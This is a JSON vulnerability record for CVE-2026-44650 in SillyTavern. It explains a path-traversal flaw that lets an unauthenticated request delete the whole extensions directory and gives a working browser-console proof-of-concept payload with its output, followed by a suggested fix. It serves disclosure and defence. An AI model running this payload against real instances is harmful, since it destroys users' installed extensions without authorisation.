{"id":"CVE-2026-44650","aliases":["GHSA-886q-f44j-h6wh"],"url":"https://o3.security/vulnerability/CVE-2026-44650","summary":"SillyTavern: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","details":"## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy — passes the check\nif (!request.body.extensionName) {\n    return response.status(400).send('Bad Request');\n}\n\n// [2] sanitize(\".\")  →  \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\"  ← basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior).  \n`path.join(basePath, \"\")` returns `basePath` itself.  \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e`  \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n    const { token } = await (await fetch('/csrf-token')).json();\n    const headers = {\n        'Content-Type': 'application/json',\n        'X-CSRF-Token': token,\n    };\n\n    // Before: 1 extension installed\n    const before = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('Before:', before.filter(e => e.type === 'local'));\n    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]\n\n    // Attack\n    const res = await fetch('/api/extensions/delete', {\n        method: 'POST',\n        headers,\n        body: JSON.stringify({ extensionName: '.' }),\n    });\n    console.log('Status:', res.status);      // 200\n    console.log('Body:', await res.text());  // \"Extension has been deleted at data\\default-user\\extensions\"\n\n    // After: empty\n    const after = await (await fetch('/api/extensions/discover', { headers })).json();\n    console.log('After:', after.filter(e => e.type === 'local'));\n    // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: 'local', name: 'third-party/Extension-Notebook' }]\nStatus: 200\nBody:   Extension has been deleted at data\\default-user\\extensions\nAfter:  []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default).  \n  Any user with network access to the SillyTavern instance can permanently \n  delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n  shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n  enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n    return response.status(400).send('Bad Request: Invalid extension name.');\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n    return response.status(400).send('Bad Request: Invalid extension path.');\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr","published":"2026-05-29T17:48:03.396Z","modified":"2026-08-12T03:51:47.866741534Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},"epss":{"score":0.00567,"percentile":0.45613,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"sillytavern","fixedVersion":"1.18.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44650.json"},{"type":"ADVISORY","url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44650"},{"type":"PACKAGE","url":"https://github.com/SillyTavern/SillyTavern"},{"type":"WEB","url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.866741534Z"}}